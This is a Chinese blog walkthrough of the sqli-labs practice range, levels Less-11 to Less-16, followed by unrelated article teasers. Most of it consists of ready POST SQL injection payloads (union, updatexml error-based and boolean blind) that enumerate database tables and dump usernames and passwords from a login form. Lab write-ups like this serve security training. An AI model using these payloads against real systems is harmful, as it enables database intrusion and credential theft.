news 2026/2/5 23:17:49

sqli-labs靶场通关详细讲解(附php源码分析Less-11-16)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
sqli-labs靶场通关详细讲解(附php源码分析Less-11-16)

Less-11

发现该题为post注入,测试注入点发现为',开始写注入语句,使用burpsuite抓包分析

在数字1处进行sql注入

1' --+

1' order by 2 --+

1' union select 11,22 --+

1' union select 11,database()--+

uname=1' union select 11,group_concat(table_name) from information_schema.tables where table_schema='security'--+&passwd=1&submit=Submit

uname=1' union select 11,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+&passwd=1&submit=Submit

uname=1' union select 11,group_concat(username,password) from users--+&passwd=1&submit=Submit

PHP源码分析

分析发现,该处为使用post接收两个值,将它拼接为sql语句

Less-12

简单测试,发现闭合为 ") uname=1")--+&passwd=1&submit=Submit

uname=1") union select 11,database()--+&passwd=1&submit=Submit

发现成功,其余步骤跟Less-11一致

Less-13

uname=1') --+&passwd=1&submit=Submit 测试发现此处为')

uname=1') order by 2--+&passwd=1&submit=Submit 测试发现页面无回显

使用报错注入

uname=1') union select 11,updatexml(1,concat(0x7e,(select database()),0x7e),1)--+&passwd=1&submit=Submit

uname=1') union select 11,updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1) ,0x7e),1)--+&passwd=1&submit=Submit

uname=1') union select 11,updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 1,1) ,0x7e),1)--+&passwd=1&submit=Submit

uname=1') union select 11,updatexml(1,concat(0x7e,(select username from users limit 1,1) ,0x7e),1)--+&passwd=1&submit=Submit

uname=1') union select 11,updatexml(1,concat(0x7e,(select password from users limit 0,1) ,0x7e),1)--+&passwd=1&submit=Submit

Less-14

测试发现此处闭合条件为 " 且为无回显

uname=1" union select 11,updatexml(1,concat(0x7e,(select database()),0x7e),1)--+&passwd=1&submit=Submit

uname=1" union select 11,updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)--+&passwd=1&submit=Submit

uname=1" union select 11,updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1),0x7e),1)--+&passwd=1&submit=Submit

uname=1" union select 11,updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),1)--+&passwd=1&submit=Submit

此题目与上题一致,仅为闭合条件不同

Less-15(补充知识看之前文章Less-8)

测试发现无报错信息也无回显,考虑使用盲注,通过使用Less-8一样的方法,不断测试

uname=1' or '1'='1'--+&passwd=1&submit=Submit 测试出闭合条件

uname=1' or '1'='1' order by 2--+&passwd=1&submit=Submit 测试为2列

uname=1' or '1'='1' union select 11,22--+&passwd=1&submit=Submit 接下来开始猜解

uname=1' or '1'='1' and (length(database()))=8--+&passwd=1&submit=Submit 只有8时为正确页面,说明数据库为8位

uname=1' or '1'='1' and (ascii(substr(database(),1,1)))=115--+&passwd=1&submit=Submit 说明数据库名字第一个字母为s

同理可得uname=1' or '1'='1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1), 1, 1)) = 101--+&passwd=1&submit=Submit 猜解表名和列名即可

Less-16

uname=1") or 1=1--+&passwd=1&submit=Submit 此处的闭合条件为")其余步骤与Less-15一致,均使用盲注的方法解决

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/2/4 21:14:28

从产线到质检,兰亭妙微教你做 “工人愿意用” 的工业 UI

作为兰亭妙微深耕工业领域的UI设计师,我们始终认为:工业软件界面不是“功能的堆砌”,而是“生产流程的数字化转译”。脱离车间实际的设计都是空谈,这几组落地界面,正是我们“工艺优先”设计理念的实践。一、产线监控界…

作者头像 李华
网站建设 2026/2/4 20:35:48

【数学】【微积分】 ① 导数的基础概念与计算法则

📖目录1. 导数的定义:从"瞬时速度"到"变化率"的革命1.1 从"平均速度"到"瞬时速度":导数的物理起源1.2 几何意义:曲线的"陡峭程度"1.3 物理意义:变化率的"终极…

作者头像 李华
网站建设 2026/2/5 19:39:10

主散线指标 通达信源码

{}M:60; N:30; 散户线: 100*(HHV(HIGH,M)-CLOSE)/(HHV(HIGH,M)-LLV(LOW,M)),COLORGREEN,LINETHICK2; RSV:(CLOSE-LLV(LOW,N))/(HHV(HIGH,N)-LLV(LOW,N))*100; K:SMA(RSV,5,1); D:SMA(K,3,1); J:3*K-2*D; 主力线:EMA(J,6),COLORRED,LINETHICK2; VAR2:REF(LOW,1); VAR3:SMA(ABS(L…

作者头像 李华
网站建设 2026/2/4 14:48:22

提升开关频率(一) PRISEMI芯导科技MOSFET工艺结构的发展与演进

在手机快充、新能源汽车电驱、光伏逆变器等电力电子设备中,藏着一个关键“电子开关”——功率MOSFET。它的核心使命是快速控制电流的通断,而“开关频率”直接决定了设备的体积、效率和性能。频率越高,能量转换效率也越高。从早期的平面结构到…

作者头像 李华